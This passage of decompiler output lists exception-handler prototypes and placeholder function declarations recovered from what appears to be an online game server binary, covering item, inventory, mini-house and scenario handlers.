*pDC); // void __usercall _L161788(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_AdminInterrupt_ScriptInterruptAdmin_ScriptInterrupt__UAEXPAUScriptInterruptArgument_2_PATInterruptHappenArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161915(int a1); // void __usercall _L161916(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sib_ObjectDead_ScriptInterruptPlayerDead_ScriptInterrupt__UAEXPAUScriptInterruptArgument_2_PATInterruptHappenArgument_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162368(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sim_InterruptErase_ScriptInterruptManager_ScriptInterrupt__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162995(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SCENARIO_AREAENTRY_ACK_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163076(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SCENARIO_AREALEAVE_ACK_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165105(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_PAVScriptInterruptUnitBase_ScriptInterrupt__V__allocator_PAVScriptInterruptUnitBase_ScriptInterrupt___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); int __cdecl _L165960_0(); _EXCEPTION_DISPOSITION __cdecl _ehhandler__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV12_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161359(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_scene_SetWeaponRate_ShineMob_ShineObjectClass__QAEXABV__vector_GV__allocator_G_std___std___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159004(int a1); // void __usercall _L159005(int a1); // void __usercall _L159006(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_MoveByScenario_ShineMobileObject_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159092(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_scene_CreateItem_ShinePlayer_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159157(int a1); // void __usercall _L159739(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MENU_SERVERMENU_ACK_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159350(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smfm_Link_ServerMenuFuncter__QAEXPAVShinePlayer_ShineObjectClass__PATServerMenuArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159412(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smfm_LinkToDungeon_ServerMenuFuncter__QAEXPAVShinePlayer_ShineObjectClass__PATServerMenuArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159698(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sma_Reply_ServerMenuActor__QAEXPAVShinePlayer_ShineObjectClass__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159811(int a1); // void __usercall _L159812(int a1); // void __usercall _L148241(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ed_SkillIndexTest_EffectDescription_SetItemData__QAEEPBUSkillDataIndex_SkillDataBox__PAD11_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148715(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__siel_Load_SetItemEffectList_SetItemData__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148763(int a1); // void __usercall _L148837(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sic_SetItemDefine_SetItemClassifier_SetItemData__QAEXPAUPlayerSetEffect_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149117(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_SetItemEffect_ShinePlayer_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149054(int a1); // void __usercall _L149055(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SetItemCheck_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162404(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DiceTaiSai_BroadLargeAmount_ShineMiniHouse_ShineObjectClass__UAEEXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162742_0(int a1); // void __usercall _L162743_0(int a1); // void __usercall _L164465(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164002(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DiceTaiSai_GetExpectIncomeMoney_ShineMiniHouse_ShineObjectClass__UAEGTITEM_INVEN___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164522(int a1); // void __usercall _L164523(int a1); // void __usercall _L161598(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_StoreItem_ShinePlayer_ShineObjectClass__UAEXPATITEM_INVEN__PAUItemTotalInformation__0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160271(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_Script_CostumeCreate_ShinePlayer_ShineObjectClass__UAEEGGPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160952(int a1); // void __usercall _L160953(int a1); // void __usercall _L160954(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_InvenWrite_ShinePlayer_ShineObjectClass__UAEXPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161215(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161487(int a1); // void __usercall _L161488(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_CostumWeaponChargeDecrease_ShinePlayer_ShineObjectClass__UAEXEPBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160576(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_GUILD_TOKEN_BUYFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159871(int a1); // void __usercall _L159872(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__igs_BuyAll_ItemGuildStorage__QAEXPAVShinePlayer_ShineObjectClass__GPAUPROTO_NC_ITEM_BUY_REQ__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160140(int a1); // void __usercall _L160142(int a1); // void __usercall _L160143(int a1); // void __usercall _L160681(int a1); // void __usercall _L160682(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ItemBuyGuildToken_ShinePlayer_ShineObjectClass__UAEXKPAUPROTO_NC_ITEM_BUY_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159564(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_QUESTREWARD_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159211(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_DestroyItem_ShinePlayer_ShineObjectClass__QAEEGGAAVItemBag__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159289_0(int a1); // void __usercall _L159290(int a1); // void __usercall _L159612(int a1); // void __usercall _L159613_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GetItemInvenLot_ShinePlayer_ShineObjectClass__QAEHG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159769_0(int a1); // void __usercall _L159770_0(int a1); // void __usercall _L159870(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MakeItem_ShinePlayer_ShineObjectClass__QAEEGHGH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159376(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_DISMANTLE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158950(int a1); // void __usercall _L158951(int a1); // void __usercall _L158952(int a1); // void __usercall _L159258(int a1); void __cdecl _L159260(); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_DISMANTLE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159729(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_DROPLOTFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159046(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ii_DropLot_ItemInventory__QAEXPAVShinePlayer_ShineObjectClass__GPAUPROTO_NC_ITEM_DROP_REQ__PAVItemInventoryCell___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159163(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_DROP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158933(int a1); // void __usercall _L158935(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_EQUIP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159278_1(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_RINGEQUIP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159487(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_EQUIPFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161204_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemOperateList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161175(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_KQRewardIndex_ShinePlayer_ShineObjectClass__UAEXPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160586(int a1); // void __usercall _L160587(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KQReward_ShinePlayer_ShineObjectClass__QAEXPBUKINGDOM_QUEST_REW___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161107(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VItemOperateElement____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159408(int a1); // void __usercall _L159409_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ii_PickAll_ItemInventory__QAEEPAVShinePlayer_ShineObjectClass__PAVShineObject_3_GPAUItemTotalInformation__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160800(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_PICK_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159617(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_partyitemdistribute_ShinePlayer_ShineObjectClass__QAEXPAVShineObject_2_PAUItemTotalInformation__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159712(int a1); // void __usercall _L159713(int a1); // void __usercall _L159714(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_PickupItem_ShinePlayer_ShineObjectClass__UAEEPAVShineObject_2_PAUItemTotalInformation__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160744(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_itempickresult_ShinePlayer_ShineObjectClass__UAEXGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163672(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_ACTIV_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161302(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__irm_Merge_ItemRelocationManager__QAEXGPAVShinePlayer_ShineObjectClass__PAUIterRelocationArgument__1H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161535(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__irm_Split_N_Merge_ItemRelocationManager__QAEXGPAVShinePlayer_ShineObjectClass__PAUIterRelocationArgument__1H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164221(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162574(int a1); // void __usercall _L162575(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Move2MiniHouse_ShinePlayer_ShineObjectClass__QAEXPAVItemInventoryCell__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162659(int a1); // void __usercall _L162660(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhs_Init_MiniHouseStr_ShinePlayer_ShineObjectClass__QAEGPAV23_PAVItemInventoryCell___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162748_0(int a1); // void __usercall _L162749_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_DecorationActivCheck_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163206(int a1); // void __usercall _L163207(int a1); // void __usercall _L163208(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_Move2MiniHouseFurniture_ShineMiniHouse_ShineObjectClass__UAEXPAVShineObject_2_PAVItemInventoryCell__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163801(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_RELOC_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164351_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildStorageWithdrawAck_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159494(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_SELLFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159175(int a1); // void __usercall _L159285(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_SELL_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159236(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_SPLITFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159340(int a1); // void __usercall _L159662(int a1); // void __usercall _L159663(int a1); // void __usercall _L159664(int a1); // void __usercall _L159666(int a1); // void __usercall _L158594(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_UNEQUIP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158843(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_UNEQUIPSUC_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159973(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__item_RandomOptionUpgrade__YA_NPAUSHINE_ITEM_STRUCT__AAUElement_ItemOptionStorage__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160435(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_UPGRADE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160559_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Item_Upgrade__YAEPAVShinePlayer_ShineObjectClass__PAVItemBag__EEEEE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160644(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_UPGRADE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162305(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ItemUseBroadcast_ShinePlayer_ShineObjectClass__QAEXPBUUIE_Functions_UseEffect__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162729_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_AfterCast_UseItemSilverWing_UseEffect__UAEXPAVShinePlayer_ShineObjectClass__PAVItemBag__PBUItemDataBoxIndex_ItemDataBox__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162789(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_AfterCast_UseItemNormal_UseEffect__UAEXPAVShinePlayer_ShineObjectClass__PAVItemBag__PBUItemDataBoxIndex_ItemDataBox__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163083(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_RoarItemUseSuccess_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161893(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_FurnitureEmotionStop_ShineMiniHouse_ShineObjectClass__UAEEGPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162138(int a1); // void __usercall _L162139(int a1); // void __usercall _L162140(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_SaveMHInven_ShineMiniHouse_ShineObjectClass__UAEEPAUPROTO_NC_CHAR_ITEM_CMD__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162311(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_CompulsionMoveTo_ShineMiniHouse_ShineObjectClass__UAEHPAUPROTO_NC_MINIHOUSE_COMPULSIONMOVETO_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162789_0(int a1); // void __usercall _L162790(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_SendOutSideTitleCmd_ShineMiniHouse_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163088(int a1); // void __usercall _L163089(int a1); // void __usercall _L163090(int a1); // void __usercall _L163091(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_CreateFurniture_ShineMiniHouse_ShineObjectClass__UAEHPAVShinePlayer_2_PAUPROTO_NC_MINIHOUSE_CREATE_FURNITURE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163504(int a1); // void __usercall _L163505(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DeleteFurniture_ShineMiniHouse_ShineObjectClass__UAEHPAVShinePlayer_2_PAUPROTO_NC_MINIHOUSE_DELETE_FURNITURE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163755(int a1); // void __usercall _L163756(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_ReArrangeFurniture_ShineMiniHouse_ShineObjectClass__UAEHPAVShineObject_2_PAUPROTO_NC_MINIHOUSE_REARRANGE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164033(int a1); // void __usercall _L164034(int a1); // void __usercall _L164035(int a1); // void __usercall _L164037(int a1); // void __usercall _L164348(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smh_FurnitureActiveCheck_ShineMiniHouse_ShineObjectClass__QAEXPAVItemBag__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164560(int a1); // void __usercall _L164561(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_GetItemCellByFurnitureHandle_ShineMiniHouse_ShineObjectClass__UAEPAVItemInventoryCell__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164867(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_ActivePortal_ShineMiniHouse_ShineObjectClass__UAEEG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164959(int a1); // void __usercall _L164960(int a1); // void __usercall _L164961(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_EndureGradeDownTimeUpdate_ShineMiniHouse_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165101(int a1); // void __usercall _L165102(int a1); // void __usercall _L165103(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_DoingEndureGradeDown_ShineMiniHouse_ShineObjectClass__UAEEPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165238(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_CanFurnitureEmotion_ShineMiniHouse_ShineObjectClass__UAEGPAVShineObject_2_PAUPROTO_NC_MINIHOUSE_FURNITURE_EMOTION_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165331(int a1); // void __usercall _L165332(int a1); // void __usercall _L165407(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_BuildingMiniHouse_ShineMiniHouse_ShineObjectClass__UAEEPAVShinePlayer_2_PAD11HE1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168781(int a1); // void __usercall _L168782(int a1); // void __usercall _L168783(int a1); // void __usercall _L168784_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CharacterInventory__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168832(int a1); // void __usercall _L168833(int a1); // void __usercall _L168834(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_ShineObject_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170991(int a1); // void __usercall _L169092_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_RemakeHandle_ShineObject_ShineObjectClass__UAEGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169574(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_ShinePlayer_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169597(int a1); // void __usercall _L169598(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1NPCProcess_ShinePlayer_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169636(int a1); // void __usercall _L169734(int a1); // void __usercall _L169735(int a1); // void __usercall _L169736(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MiniHouseInven_ShineMiniHouse_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169791(int a1); // void __usercall _L169792(int a1); // void __usercall _L169793(int a1); // void __usercall _L169794(int a1); // void __usercall _L169795(int a1); // void __usercall _L169796(int a1); // void __usercall _L169797(int a1); // void __usercall _L169798(int a1); // void __usercall _L169799(int a1); // void __usercall _L169800(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1Actor_MobActionArgument_MobTacticElement__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); unsigned int __cdecl _L171022(); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_DamageLog_ShineObject_ShineObjectClass__QAEXPADHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171327(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AllOfRange_ShineObject_ShineObjectClass__QAEEKPBUSHINE_XY_TYPE__HPAUFanFormSectorArgument__PAVAxialListIterator__EG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171530(int a1); // void __usercall _L171531(int a1); // void __usercall _L171532(int a1); // void __usercall _L171533(int a1); // void __usercall _L171534(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineMobileObject_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171800(int a1); // void __usercall _L171801(int a1); // void __usercall _L171802(int a1); // void __usercall _L171803(int a1); 